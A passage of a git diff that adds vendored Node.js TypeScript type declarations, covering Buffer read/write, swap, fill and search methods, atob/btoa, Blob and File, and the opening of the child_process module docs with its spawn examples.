@param [offset=0] Number of bytes to skip before starting to read. Must satisfy `0 <= offset <= buf.length - 2`. + */ + readInt16BE(offset?: number): number; + /** + * Reads a signed, little-endian 32-bit integer from `buf` at the specified`offset`. + * + * Integers read from a `Buffer` are interpreted as two's complement signed values. + * + * ```js + * import { Buffer } from 'node:buffer'; + * + * const buf = Buffer.from([0, 0, 0, 5]); + * + * console.log(buf.readInt32LE(0)); + * // Prints: 83886080 + * console.log(buf.readInt32LE(1)); + * // Throws ERR_OUT_OF_RANGE. + * ``` + * @since v0.5.5 + * @param [offset=0] Number of bytes to skip before starting to read. Must satisfy `0 <= offset <= buf.length - 4`. + */ + readInt32LE(offset?: number): number; + /** + * Reads a signed, big-endian 32-bit integer from `buf` at the specified `offset`. + * + * Integers read from a `Buffer` are interpreted as two's complement signed values. + * + * ```js + * import { Buffer } from 'node:buffer'; + * + * const buf = Buffer.from([0, 0, 0, 5]); + * + * console.log(buf.readInt32BE(0)); + * // Prints: 5 + * ``` + * @since v0.5.5 + * @param [offset=0] Number of bytes to skip before starting to read. Must satisfy `0 <= offset <= buf.length - 4`. + */ + readInt32BE(offset?: number): number; + /** + * Reads a 32-bit, little-endian float from `buf` at the specified `offset`. + * + * ```js + * import { Buffer } from 'node:buffer'; + * + * const buf = Buffer.from([1, 2, 3, 4]); + * + * console.log(buf.readFloatLE(0)); + * // Prints: 1.539989614439558e-36 + * console.log(buf.readFloatLE(1)); + * // Throws ERR_OUT_OF_RANGE. + * ``` + * @since v0.11.15 + * @param [offset=0] Number of bytes to skip before starting to read. Must satisfy `0 <= offset <= buf.length - 4`. + */ + readFloatLE(offset?: number): number; + /** + * Reads a 32-bit, big-endian float from `buf` at the specified `offset`. + * + * ```js + * import { Buffer } from 'node:buffer'; + * + * const buf = Buffer.from([1, 2, 3, 4]); + * + * console.log(buf.readFloatBE(0)); + * // Prints: 2.387939260590663e-38 + * ``` + * @since v0.11.15 + * @param [offset=0] Number of bytes to skip before starting to read. Must satisfy `0 <= offset <= buf.length - 4`. + */ + readFloatBE(offset?: number): number; + /** + * Reads a 64-bit, little-endian double from `buf` at the specified `offset`. + * + * ```js + * import { Buffer } from 'node:buffer'; + * + * const buf = Buffer.from([1, 2, 3, 4, 5, 6, 7, 8]); + * + * console.log(buf.readDoubleLE(0)); + * // Prints: 5.447603722011605e-270 + * console.log(buf.readDoubleLE(1)); + * // Throws ERR_OUT_OF_RANGE. + * ``` + * @since v0.11.15 + * @param [offset=0] Number of bytes to skip before starting to read. Must satisfy `0 <= offset <= buf.length - 8`. + */ + readDoubleLE(offset?: number): number; + /** + * Reads a 64-bit, big-endian double from `buf` at the specified `offset`. + * + * ```js + * import { Buffer } from 'node:buffer'; + * + * const buf = Buffer.from([1, 2, 3, 4, 5, 6, 7, 8]); + * + * console.log(buf.readDoubleBE(0)); + * // Prints: 8.20788039913184e-304 + * ``` + * @since v0.11.15 + * @param [offset=0] Number of bytes to skip before starting to read. Must satisfy `0 <= offset <= buf.length - 8`. + */ + readDoubleBE(offset?: number): number; + reverse(): this; + /** + * Interprets `buf` as an array of unsigned 16-bit integers and swaps the + * byte order _in-place_. Throws `ERR_INVALID_BUFFER_SIZE` if `buf.length` is not a multiple of 2. + * + * ```js + * import { Buffer } from 'node:buffer'; + * + * const buf1 = Buffer.from([0x1, 0x2, 0x3, 0x4, 0x5, 0x6, 0x7, 0x8]); + * + * console.log(buf1); + * // Prints: + * + * buf1.swap16(); + * + * console.log(buf1); + * // Prints: + * + * const buf2 = Buffer.from([0x1, 0x2, 0x3]); + * + * buf2.swap16(); + * // Throws ERR_INVALID_BUFFER_SIZE. + * ``` + * + * One convenient use of `buf.swap16()` is to perform a fast in-place conversion + * between UTF-16 little-endian and UTF-16 big-endian: + * + * ```js + * import { Buffer } from 'node:buffer'; + * + * const buf = Buffer.from('This is little-endian UTF-16', 'utf16le'); + * buf.swap16(); // Convert to big-endian UTF-16 text. + * ``` + * @since v5.10.0 + * @return A reference to `buf`. + */ + swap16(): this; + /** + * Interprets `buf` as an array of unsigned 32-bit integers and swaps the + * byte order _in-place_. Throws `ERR_INVALID_BUFFER_SIZE` if `buf.length` is not a multiple of 4. + * + * ```js + * import { Buffer } from 'node:buffer'; + * + * const buf1 = Buffer.from([0x1, 0x2, 0x3, 0x4, 0x5, 0x6, 0x7, 0x8]); + * + * console.log(buf1); + * // Prints: + * + * buf1.swap32(); + * + * console.log(buf1); + * // Prints: + * + * const buf2 = Buffer.from([0x1, 0x2, 0x3]); + * + * buf2.swap32(); + * // Throws ERR_INVALID_BUFFER_SIZE. + * ``` + * @since v5.10.0 + * @return A reference to `buf`. + */ + swap32(): this; + /** + * Interprets `buf` as an array of 64-bit numbers and swaps byte order _in-place_. + * Throws `ERR_INVALID_BUFFER_SIZE` if `buf.length` is not a multiple of 8. + * + * ```js + * import { Buffer } from 'node:buffer'; + * + * const buf1 = Buffer.from([0x1, 0x2, 0x3, 0x4, 0x5, 0x6, 0x7, 0x8]); + * + * console.log(buf1); + * // Prints: + * + * buf1.swap64(); + * + * console.log(buf1); + * // Prints: + * + * const buf2 = Buffer.from([0x1, 0x2, 0x3]); + * + * buf2.swap64(); + * // Throws ERR_INVALID_BUFFER_SIZE. + * ``` + * @since v6.3.0 + * @return A reference to `buf`. + */ + swap64(): this; + /** + * Writes `value` to `buf` at the specified `offset`. `value` must be a + * valid unsigned 8-bit integer. Behavior is undefined when `value` is anything + * other than an unsigned 8-bit integer. + * + * This function is also available under the `writeUint8` alias. + * + * ```js + * import { Buffer } from 'node:buffer'; + * + * const buf = Buffer.allocUnsafe(4); + * + * buf.writeUInt8(0x3, 0); + * buf.writeUInt8(0x4, 1); + * buf.writeUInt8(0x23, 2); + * buf.writeUInt8(0x42, 3); + * + * console.log(buf); + * // Prints: + * ``` + * @since v0.5.0 + * @param value Number to be written to `buf`. + * @param [offset=0] Number of bytes to skip before starting to write. Must satisfy `0 <= offset <= buf.length - 1`. + * @return `offset` plus the number of bytes written. + */ + writeUInt8(value: number, offset?: number): number; + /** + * @alias Buffer.writeUInt8 + * @since v14.9.0, v12.19.0 + */ + writeUint8(value: number, offset?: number): number; + /** + * Writes `value` to `buf` at the specified `offset` as little-endian. The `value` must be a valid unsigned 16-bit integer. Behavior is undefined when `value` is + * anything other than an unsigned 16-bit integer. + * + * This function is also available under the `writeUint16LE` alias. + * + * ```js + * import { Buffer } from 'node:buffer'; + * + * const buf = Buffer.allocUnsafe(4); + * + * buf.writeUInt16LE(0xdead, 0); + * buf.writeUInt16LE(0xbeef, 2); + * + * console.log(buf); + * // Prints: + * ``` + * @since v0.5.5 + * @param value Number to be written to `buf`. + * @param [offset=0] Number of bytes to skip before starting to write. Must satisfy `0 <= offset <= buf.length - 2`. + * @return `offset` plus the number of bytes written. + */ + writeUInt16LE(value: number, offset?: number): number; + /** + * @alias Buffer.writeUInt16LE + * @since v14.9.0, v12.19.0 + */ + writeUint16LE(value: number, offset?: number): number; + /** + * Writes `value` to `buf` at the specified `offset` as big-endian. The `value` must be a valid unsigned 16-bit integer. Behavior is undefined when `value`is anything other than an + * unsigned 16-bit integer. + * + * This function is also available under the `writeUint16BE` alias. + * + * ```js + * import { Buffer } from 'node:buffer'; + * + * const buf = Buffer.allocUnsafe(4); + * + * buf.writeUInt16BE(0xdead, 0); + * buf.writeUInt16BE(0xbeef, 2); + * + * console.log(buf); + * // Prints: + * ``` + * @since v0.5.5 + * @param value Number to be written to `buf`. + * @param [offset=0] Number of bytes to skip before starting to write. Must satisfy `0 <= offset <= buf.length - 2`. + * @return `offset` plus the number of bytes written. + */ + writeUInt16BE(value: number, offset?: number): number; + /** + * @alias Buffer.writeUInt16BE + * @since v14.9.0, v12.19.0 + */ + writeUint16BE(value: number, offset?: number): number; + /** + * Writes `value` to `buf` at the specified `offset` as little-endian. The `value` must be a valid unsigned 32-bit integer. Behavior is undefined when `value` is + * anything other than an unsigned 32-bit integer. + * + * This function is also available under the `writeUint32LE` alias. + * + * ```js + * import { Buffer } from 'node:buffer'; + * + * const buf = Buffer.allocUnsafe(4); + * + * buf.writeUInt32LE(0xfeedface, 0); + * + * console.log(buf); + * // Prints: + * ``` + * @since v0.5.5 + * @param value Number to be written to `buf`. + * @param [offset=0] Number of bytes to skip before starting to write. Must satisfy `0 <= offset <= buf.length - 4`. + * @return `offset` plus the number of bytes written. + */ + writeUInt32LE(value: number, offset?: number): number; + /** + * @alias Buffer.writeUInt32LE + * @since v14.9.0, v12.19.0 + */ + writeUint32LE(value: number, offset?: number): number; + /** + * Writes `value` to `buf` at the specified `offset` as big-endian. The `value` must be a valid unsigned 32-bit integer. Behavior is undefined when `value`is anything other than an + * unsigned 32-bit integer. + * + * This function is also available under the `writeUint32BE` alias. + * + * ```js + * import { Buffer } from 'node:buffer'; + * + * const buf = Buffer.allocUnsafe(4); + * + * buf.writeUInt32BE(0xfeedface, 0); + * + * console.log(buf); + * // Prints: + * ``` + * @since v0.5.5 + * @param value Number to be written to `buf`. + * @param [offset=0] Number of bytes to skip before starting to write. Must satisfy `0 <= offset <= buf.length - 4`. + * @return `offset` plus the number of bytes written. + */ + writeUInt32BE(value: number, offset?: number): number; + /** + * @alias Buffer.writeUInt32BE + * @since v14.9.0, v12.19.0 + */ + writeUint32BE(value: number, offset?: number): number; + /** + * Writes `value` to `buf` at the specified `offset`. `value` must be a valid + * signed 8-bit integer. Behavior is undefined when `value` is anything other than + * a signed 8-bit integer. + * + * `value` is interpreted and written as a two's complement signed integer. + * + * ```js + * import { Buffer } from 'node:buffer'; + * + * const buf = Buffer.allocUnsafe(2); + * + * buf.writeInt8(2, 0); + * buf.writeInt8(-2, 1); + * + * console.log(buf); + * // Prints: + * ``` + * @since v0.5.0 + * @param value Number to be written to `buf`. + * @param [offset=0] Number of bytes to skip before starting to write. Must satisfy `0 <= offset <= buf.length - 1`. + * @return `offset` plus the number of bytes written. + */ + writeInt8(value: number, offset?: number): number; + /** + * Writes `value` to `buf` at the specified `offset` as little-endian. The `value` must be a valid signed 16-bit integer. Behavior is undefined when `value` is + * anything other than a signed 16-bit integer. + * + * The `value` is interpreted and written as a two's complement signed integer. + * + * ```js + * import { Buffer } from 'node:buffer'; + * + * const buf = Buffer.allocUnsafe(2); + * + * buf.writeInt16LE(0x0304, 0); + * + * console.log(buf); + * // Prints: + * ``` + * @since v0.5.5 + * @param value Number to be written to `buf`. + * @param [offset=0] Number of bytes to skip before starting to write. Must satisfy `0 <= offset <= buf.length - 2`. + * @return `offset` plus the number of bytes written. + */ + writeInt16LE(value: number, offset?: number): number; + /** + * Writes `value` to `buf` at the specified `offset` as big-endian. The `value` must be a valid signed 16-bit integer. Behavior is undefined when `value` is + * anything other than a signed 16-bit integer. + * + * The `value` is interpreted and written as a two's complement signed integer. + * + * ```js + * import { Buffer } from 'node:buffer'; + * + * const buf = Buffer.allocUnsafe(2); + * + * buf.writeInt16BE(0x0102, 0); + * + * console.log(buf); + * // Prints: + * ``` + * @since v0.5.5 + * @param value Number to be written to `buf`. + * @param [offset=0] Number of bytes to skip before starting to write. Must satisfy `0 <= offset <= buf.length - 2`. + * @return `offset` plus the number of bytes written. + */ + writeInt16BE(value: number, offset?: number): number; + /** + * Writes `value` to `buf` at the specified `offset` as little-endian. The `value` must be a valid signed 32-bit integer. Behavior is undefined when `value` is + * anything other than a signed 32-bit integer. + * + * The `value` is interpreted and written as a two's complement signed integer. + * + * ```js + * import { Buffer } from 'node:buffer'; + * + * const buf = Buffer.allocUnsafe(4); + * + * buf.writeInt32LE(0x05060708, 0); + * + * console.log(buf); + * // Prints: + * ``` + * @since v0.5.5 + * @param value Number to be written to `buf`. + * @param [offset=0] Number of bytes to skip before starting to write. Must satisfy `0 <= offset <= buf.length - 4`. + * @return `offset` plus the number of bytes written. + */ + writeInt32LE(value: number, offset?: number): number; + /** + * Writes `value` to `buf` at the specified `offset` as big-endian. The `value` must be a valid signed 32-bit integer. Behavior is undefined when `value` is + * anything other than a signed 32-bit integer. + * + * The `value` is interpreted and written as a two's complement signed integer. + * + * ```js + * import { Buffer } from 'node:buffer'; + * + * const buf = Buffer.allocUnsafe(4); + * + * buf.writeInt32BE(0x01020304, 0); + * + * console.log(buf); + * // Prints: + * ``` + * @since v0.5.5 + * @param value Number to be written to `buf`. + * @param [offset=0] Number of bytes to skip before starting to write. Must satisfy `0 <= offset <= buf.length - 4`. + * @return `offset` plus the number of bytes written. + */ + writeInt32BE(value: number, offset?: number): number; + /** + * Writes `value` to `buf` at the specified `offset` as little-endian. Behavior is + * undefined when `value` is anything other than a JavaScript number. + * + * ```js + * import { Buffer } from 'node:buffer'; + * + * const buf = Buffer.allocUnsafe(4); + * + * buf.writeFloatLE(0xcafebabe, 0); + * + * console.log(buf); + * // Prints: + * ``` + * @since v0.11.15 + * @param value Number to be written to `buf`. + * @param [offset=0] Number of bytes to skip before starting to write. Must satisfy `0 <= offset <= buf.length - 4`. + * @return `offset` plus the number of bytes written. + */ + writeFloatLE(value: number, offset?: number): number; + /** + * Writes `value` to `buf` at the specified `offset` as big-endian. Behavior is + * undefined when `value` is anything other than a JavaScript number. + * + * ```js + * import { Buffer } from 'node:buffer'; + * + * const buf = Buffer.allocUnsafe(4); + * + * buf.writeFloatBE(0xcafebabe, 0); + * + * console.log(buf); + * // Prints: + * ``` + * @since v0.11.15 + * @param value Number to be written to `buf`. + * @param [offset=0] Number of bytes to skip before starting to write. Must satisfy `0 <= offset <= buf.length - 4`. + * @return `offset` plus the number of bytes written. + */ + writeFloatBE(value: number, offset?: number): number; + /** + * Writes `value` to `buf` at the specified `offset` as little-endian. The `value` must be a JavaScript number. Behavior is undefined when `value` is anything + * other than a JavaScript number. + * + * ```js + * import { Buffer } from 'node:buffer'; + * + * const buf = Buffer.allocUnsafe(8); + * + * buf.writeDoubleLE(123.456, 0); + * + * console.log(buf); + * // Prints: + * ``` + * @since v0.11.15 + * @param value Number to be written to `buf`. + * @param [offset=0] Number of bytes to skip before starting to write. Must satisfy `0 <= offset <= buf.length - 8`. + * @return `offset` plus the number of bytes written. + */ + writeDoubleLE(value: number, offset?: number): number; + /** + * Writes `value` to `buf` at the specified `offset` as big-endian. The `value` must be a JavaScript number. Behavior is undefined when `value` is anything + * other than a JavaScript number. + * + * ```js + * import { Buffer } from 'node:buffer'; + * + * const buf = Buffer.allocUnsafe(8); + * + * buf.writeDoubleBE(123.456, 0); + * + * console.log(buf); + * // Prints: + * ``` + * @since v0.11.15 + * @param value Number to be written to `buf`. + * @param [offset=0] Number of bytes to skip before starting to write. Must satisfy `0 <= offset <= buf.length - 8`. + * @return `offset` plus the number of bytes written. + */ + writeDoubleBE(value: number, offset?: number): number; + /** + * Fills `buf` with the specified `value`. If the `offset` and `end` are not given, + * the entire `buf` will be filled: + * + * ```js + * import { Buffer } from 'node:buffer'; + * + * // Fill a `Buffer` with the ASCII character 'h'. + * + * const b = Buffer.allocUnsafe(50).fill('h'); + * + * console.log(b.toString()); + * // Prints: hhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhh + * + * // Fill a buffer with empty string + * const c = Buffer.allocUnsafe(5).fill(''); + * + * console.log(c.fill('')); + * // Prints: + * ``` + * + * `value` is coerced to a `uint32` value if it is not a string, `Buffer`, or + * integer. If the resulting integer is greater than `255` (decimal), `buf` will be + * filled with `value & 255`. + * + * If the final write of a `fill()` operation falls on a multi-byte character, + * then only the bytes of that character that fit into `buf` are written: + * + * ```js + * import { Buffer } from 'node:buffer'; + * + * // Fill a `Buffer` with character that takes up two bytes in UTF-8. + * + * console.log(Buffer.allocUnsafe(5).fill('\u0222')); + * // Prints: + * ``` + * + * If `value` contains invalid characters, it is truncated; if no valid + * fill data remains, an exception is thrown: + * + * ```js + * import { Buffer } from 'node:buffer'; + * + * const buf = Buffer.allocUnsafe(5); + * + * console.log(buf.fill('a')); + * // Prints: + * console.log(buf.fill('aazz', 'hex')); + * // Prints: + * console.log(buf.fill('zz', 'hex')); + * // Throws an exception. + * ``` + * @since v0.5.0 + * @param value The value with which to fill `buf`. Empty value (string, Uint8Array, Buffer) is coerced to `0`. + * @param [offset=0] Number of bytes to skip before starting to fill `buf`. + * @param [end=buf.length] Where to stop filling `buf` (not inclusive). + * @param [encoding='utf8'] The encoding for `value` if `value` is a string. + * @return A reference to `buf`. + */ + fill(value: string | Uint8Array | number, offset?: number, end?: number, encoding?: BufferEncoding): this; + /** + * If `value` is: + * + * * a string, `value` is interpreted according to the character encoding in `encoding`. + * * a `Buffer` or [`Uint8Array`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Uint8Array), `value` will be used in its entirety. + * To compare a partial `Buffer`, use `buf.subarray`. + * * a number, `value` will be interpreted as an unsigned 8-bit integer + * value between `0` and `255`. + * + * ```js + * import { Buffer } from 'node:buffer'; + * + * const buf = Buffer.from('this is a buffer'); + * + * console.log(buf.indexOf('this')); + * // Prints: 0 + * console.log(buf.indexOf('is')); + * // Prints: 2 + * console.log(buf.indexOf(Buffer.from('a buffer'))); + * // Prints: 8 + * console.log(buf.indexOf(97)); + * // Prints: 8 (97 is the decimal ASCII value for 'a') + * console.log(buf.indexOf(Buffer.from('a buffer example'))); + * // Prints: -1 + * console.log(buf.indexOf(Buffer.from('a buffer example').slice(0, 8))); + * // Prints: 8 + * + * const utf16Buffer = Buffer.from('\u039a\u0391\u03a3\u03a3\u0395', 'utf16le'); + * + * console.log(utf16Buffer.indexOf('\u03a3', 0, 'utf16le')); + * // Prints: 4 + * console.log(utf16Buffer.indexOf('\u03a3', -4, 'utf16le')); + * // Prints: 6 + * ``` + * + * If `value` is not a string, number, or `Buffer`, this method will throw a `TypeError`. If `value` is a number, it will be coerced to a valid byte value, + * an integer between 0 and 255. + * + * If `byteOffset` is not a number, it will be coerced to a number. If the result + * of coercion is `NaN` or `0`, then the entire buffer will be searched. This + * behavior matches [`String.prototype.indexOf()`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/indexOf). + * + * ```js + * import { Buffer } from 'node:buffer'; + * + * const b = Buffer.from('abcdef'); + * + * // Passing a value that's a number, but not a valid byte. + * // Prints: 2, equivalent to searching for 99 or 'c'. + * console.log(b.indexOf(99.9)); + * console.log(b.indexOf(256 + 99)); + * + * // Passing a byteOffset that coerces to NaN or 0. + * // Prints: 1, searching the whole buffer. + * console.log(b.indexOf('b', undefined)); + * console.log(b.indexOf('b', {})); + * console.log(b.indexOf('b', null)); + * console.log(b.indexOf('b', [])); + * ``` + * + * If `value` is an empty string or empty `Buffer` and `byteOffset` is less + * than `buf.length`, `byteOffset` will be returned. If `value` is empty and`byteOffset` is at least `buf.length`, `buf.length` will be returned. + * @since v1.5.0 + * @param value What to search for. + * @param [byteOffset=0] Where to begin searching in `buf`. If negative, then offset is calculated from the end of `buf`. + * @param [encoding='utf8'] If `value` is a string, this is the encoding used to determine the binary representation of the string that will be searched for in `buf`. + * @return The index of the first occurrence of `value` in `buf`, or `-1` if `buf` does not contain `value`. + */ + indexOf(value: string | number | Uint8Array, byteOffset?: number, encoding?: BufferEncoding): number; + /** + * Identical to `buf.indexOf()`, except the last occurrence of `value` is found + * rather than the first occurrence. + * + * ```js + * import { Buffer } from 'node:buffer'; + * + * const buf = Buffer.from('this buffer is a buffer'); + * + * console.log(buf.lastIndexOf('this')); + * // Prints: 0 + * console.log(buf.lastIndexOf('buffer')); + * // Prints: 17 + * console.log(buf.lastIndexOf(Buffer.from('buffer'))); + * // Prints: 17 + * console.log(buf.lastIndexOf(97)); + * // Prints: 15 (97 is the decimal ASCII value for 'a') + * console.log(buf.lastIndexOf(Buffer.from('yolo'))); + * // Prints: -1 + * console.log(buf.lastIndexOf('buffer', 5)); + * // Prints: 5 + * console.log(buf.lastIndexOf('buffer', 4)); + * // Prints: -1 + * + * const utf16Buffer = Buffer.from('\u039a\u0391\u03a3\u03a3\u0395', 'utf16le'); + * + * console.log(utf16Buffer.lastIndexOf('\u03a3', undefined, 'utf16le')); + * // Prints: 6 + * console.log(utf16Buffer.lastIndexOf('\u03a3', -5, 'utf16le')); + * // Prints: 4 + * ``` + * + * If `value` is not a string, number, or `Buffer`, this method will throw a `TypeError`. If `value` is a number, it will be coerced to a valid byte value, + * an integer between 0 and 255. + * + * If `byteOffset` is not a number, it will be coerced to a number. Any arguments + * that coerce to `NaN`, like `{}` or `undefined`, will search the whole buffer. + * This behavior matches [`String.prototype.lastIndexOf()`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/lastIndexOf). + * + * ```js + * import { Buffer } from 'node:buffer'; + * + * const b = Buffer.from('abcdef'); + * + * // Passing a value that's a number, but not a valid byte. + * // Prints: 2, equivalent to searching for 99 or 'c'. + * console.log(b.lastIndexOf(99.9)); + * console.log(b.lastIndexOf(256 + 99)); + * + * // Passing a byteOffset that coerces to NaN. + * // Prints: 1, searching the whole buffer. + * console.log(b.lastIndexOf('b', undefined)); + * console.log(b.lastIndexOf('b', {})); + * + * // Passing a byteOffset that coerces to 0. + * // Prints: -1, equivalent to passing 0. + * console.log(b.lastIndexOf('b', null)); + * console.log(b.lastIndexOf('b', [])); + * ``` + * + * If `value` is an empty string or empty `Buffer`, `byteOffset` will be returned. + * @since v6.0.0 + * @param value What to search for. + * @param [byteOffset=buf.length - 1] Where to begin searching in `buf`. If negative, then offset is calculated from the end of `buf`. + * @param [encoding='utf8'] If `value` is a string, this is the encoding used to determine the binary representation of the string that will be searched for in `buf`. + * @return The index of the last occurrence of `value` in `buf`, or `-1` if `buf` does not contain `value`. + */ + lastIndexOf(value: string | number | Uint8Array, byteOffset?: number, encoding?: BufferEncoding): number; + /** + * Equivalent to `buf.indexOf() !== -1`. + * + * ```js + * import { Buffer } from 'node:buffer'; + * + * const buf = Buffer.from('this is a buffer'); + * + * console.log(buf.includes('this')); + * // Prints: true + * console.log(buf.includes('is')); + * // Prints: true + * console.log(buf.includes(Buffer.from('a buffer'))); + * // Prints: true + * console.log(buf.includes(97)); + * // Prints: true (97 is the decimal ASCII value for 'a') + * console.log(buf.includes(Buffer.from('a buffer example'))); + * // Prints: false + * console.log(buf.includes(Buffer.from('a buffer example').slice(0, 8))); + * // Prints: true + * console.log(buf.includes('this', 4)); + * // Prints: false + * ``` + * @since v5.3.0 + * @param value What to search for. + * @param [byteOffset=0] Where to begin searching in `buf`. If negative, then offset is calculated from the end of `buf`. + * @param [encoding='utf8'] If `value` is a string, this is its encoding. + * @return `true` if `value` was found in `buf`, `false` otherwise. + */ + includes(value: string | number | Buffer, byteOffset?: number, encoding?: BufferEncoding): boolean; + } + var Buffer: BufferConstructor; + /** + * Decodes a string of Base64-encoded data into bytes, and encodes those bytes + * into a string using Latin-1 (ISO-8859-1). + * + * The `data` may be any JavaScript-value that can be coerced into a string. + * + * **This function is only provided for compatibility with legacy web platform APIs** + * **and should never be used in new code, because they use strings to represent** + * **binary data and predate the introduction of typed arrays in JavaScript.** + * **For code running using Node.js APIs, converting between base64-encoded strings** + * **and binary data should be performed using `Buffer.from(str, 'base64')` and `buf.toString('base64')`.** + * @since v15.13.0, v14.17.0 + * @legacy Use `Buffer.from(data, 'base64')` instead. + * @param data The Base64-encoded input string. + */ + function atob(data: string): string; + /** + * Decodes a string into bytes using Latin-1 (ISO-8859), and encodes those bytes + * into a string using Base64. + * + * The `data` may be any JavaScript-value that can be coerced into a string. + * + * **This function is only provided for compatibility with legacy web platform APIs** + * **and should never be used in new code, because they use strings to represent** + * **binary data and predate the introduction of typed arrays in JavaScript.** + * **For code running using Node.js APIs, converting between base64-encoded strings** + * **and binary data should be performed using `Buffer.from(str, 'base64')` and `buf.toString('base64')`.** + * @since v15.13.0, v14.17.0 + * @legacy Use `buf.toString('base64')` instead. + * @param data An ASCII (Latin1) string. + */ + function btoa(data: string): string; + interface Blob extends _Blob {} + /** + * `Blob` class is a global reference for `import { Blob } from 'node:buffer'` + * https://nodejs.org/api/buffer.html#class-blob + * @since v18.0.0 + */ + var Blob: typeof globalThis extends { onmessage: any; Blob: infer T } ? T + : typeof import("buffer").Blob; + interface File extends _File {} + /** + * `File` class is a global reference for `import { File } from 'node:buffer'` + * https://nodejs.org/api/buffer.html#class-file + * @since v20.0.0 + */ + var File: typeof globalThis extends { onmessage: any; File: infer T } ? T + : typeof import("buffer").File; + } +} +declare module "node:buffer" { + export * from "buffer"; +} diff --git a/node_modules/@types/node/child_process.d.ts b/node_modules/@types/node/child_process.d.ts new file mode 100644 index 000000000000..09f181f92900 --- /dev/null +++ b/node_modules/@types/node/child_process.d.ts @@ -0,0 +1,1549 @@ +/** + * The `node:child_process` module provides the ability to spawn subprocesses in + * a manner that is similar, but not identical, to [`popen(3)`](http://man7.org/linux/man-pages/man3/popen.3.html). This capability + * is primarily provided by the {@link spawn} function: + * + * ```js + * import { spawn } from 'node:child_process'; + * const ls = spawn('ls', ['-lh', '/usr']); + * + * ls.stdout.on('data', (data) => { + * console.log(`stdout: ${data}`); + * }); + * + * ls.stderr.on('data', (data) => { + * console.error(`stderr: ${data}`); + * }); + * + * ls.on('close', (code) => { + * console.log(`child process exited with code ${code}`); + * }); + * ``` + * + * By default, pipes for `stdin`, `stdout`, and `stderr` are established between + * the parent Node.js process and the spawned subprocess. These pipes have + * limited (and platform-specific) capacity. If the subprocess writes to + * stdout in excess of that limit without the output being captured, the + * subprocess blocks waiting for the pipe buffer to accept more data. This is + * identical to the behavior of pipes in the shell. Use the `{ stdio: 'ignore' }` option if the output will not be consumed. + * + * The command lookup is performed using the `options.env.PATH` environment + * variable if `env` is in the `options` object. Otherwise, `process.env.PATH` is + * used. If `options.env` is set without `PATH`, lookup on Unix is performed + * on a default search path search of `/usr/bin:/bin` (see your operating system's + * manual for execvpe/execvp), on Windows the current processes environment + * variable `PATH` is used. + * + * On Windows, environment variables are case-insensitive. Node.js + * lexicographically sorts the `env` keys and uses the first one that + * case-insensitively matches. Only first (in lexicographic order) entry will be + * passed to the subprocess. This might lead to issues on Windows when passing + * objects to the `env` option that have multiple variants of the same key, such as `PATH` and `Path`. + * + * The {@link spawn} method spawns the child process asynchronously, + * without blocking the Node.js event loop. The {@link spawnSync} function provides equivalent functionality in a synchronous manner that blocks + * the event loop until the spawned process either exits or is terminated. + * + * For convenience, the `node:child_process` module provides a handful of + * synchronous and asynchronous alternatives to {@link spawn} and {@link spawnSync}. Each of these alternatives are implemented on + * top of {@link spawn} or {@link spawnSync}. + * + * * {@link exec}: spawns a shell and runs a command within that + * shell, passing the `stdout` and `stderr` to a callback function when + * complete. + * * {@link execFile}: similar to {@link exec} except + * that it spawns the command directly without first spawning a shell by + * default. + * * {@link fork}: spawns a new Node.js process and invokes a + * specified module with an IPC communication channel established that allows + * sending messages between parent and child. + * * {@link execSync}: a synchronous version of {@link exec} that will block the Node.js event loop. + * * {@link execFileSync}: a synchronous version of {@link execFile} that will block the Node.js event loop. + * + * For certain use cases, such as automating shell scripts, the `synchronous counterparts` may be more convenient. In many cases, however, + * the synchronous methods can have significant impact on performance due to + * stalling the event loop while spawned processes complete. + * @see [source](https://github.com/nodejs/node/blob/v22.x/lib/child_process.js) + */ +declare module "child_process" { + import { ObjectEncodingOptions } from "node:fs"; + import { Abortable, EventEmitter } from "node:events"; + import * as dgram from "node:dgram"; + import * as net from "node:net"; + import { Pipe, Readable, Stream, Writable } from "node:stream"; + import { URL } from "node:url"; + type Serializable = string | object | number | boolean | bigint; + type SendHandle = net.Socket | net.Server | dgram.Socket | undefined; + /** + * Instances of the `ChildProcess` represent spawned child processes. + * + * Instances of `ChildProcess` are not intended to be created directly. Rather, + * use the {@link spawn}, {@link exec},{@link execFile}, or {@link fork} methods to create + * instances of `ChildProcess`. + * @since v2.2.0 + */ + class ChildProcess extends EventEmitter { + /** + * A `Writable Stream` that represents the child process's `stdin`. + * + * If a child process waits to read all of its input, the child will not continue + * until this stream has been closed via `end()`. + * + * If the child was spawned with `stdio[0]` set to anything other than `'pipe'`, + * then this will be `null`. + * + * `subprocess.stdin` is an alias for `subprocess.stdio[0]`. Both properties will + * refer to the same value. + * + * The `subprocess.stdin` property can be `null` or `undefined` if the child process could not be successfully spawned. + * @since v0.1.90 + */ + stdin: Writable | null; + /** + * A `Readable Stream` that represents the child process's `stdout`. + * + * If the child was spawned with `stdio[1]` set to anything other than `'pipe'`, + * then this will be `null`. + * + * `subprocess.stdout` is an alias for `subprocess.stdio[1]`. Both properties will + * refer to the same value. + * + * ```js + * import { spawn } from 'node:child_process'; + * + * const subprocess = spawn('ls'); + * + * subprocess.stdout.on('data', (data) => { + * console.log(`Received chunk ${data}`); + * }); + * ``` + * + * The `subprocess.stdout` property can be `null` or `undefined` if the child process could not be successfully spawned. + * @since v0.1.90 + */ + stdout: Readable | null; + /** + * A `Readable Stream` that represents the child process's `stderr`. + * + * If the child was spawned with `stdio[2]` set to anything other than `'pipe'`, + * then this will be `null`. + * + * `subprocess.stderr` is an alias for `subprocess.stdio[2]`. Both properties will + * refer to the same value. + * + * The `subprocess.stderr` property can be `null` or `undefined` if the child process could not be successfully spawned. + * @since v0.1.90 + */ + stderr: Readable | null; + /** + * The `subprocess.channel` property is a reference to the child's IPC channel. If + * no IPC channel exists, this property is `undefined`. + * @since v7.1.0 + */ + readonly channel?: Pipe | null | undefined; + /** + * A sparse array of pipes to the child process, corresponding with positions in + * the `stdio` option passed to {@link spawn} that have been set + * to the value `'pipe'`. `subprocess.stdio[0]`, `subprocess.stdio[1]`, and `subprocess.stdio[2]` are also available as `subprocess.stdin`, `subprocess.stdout`, and `subprocess.stderr`, + * respectively. + * + * In the following example, only the child's fd `1` (stdout) is configured as a + * pipe, so only the parent's `subprocess.stdio[1]` is a stream, all other values + * in the array are 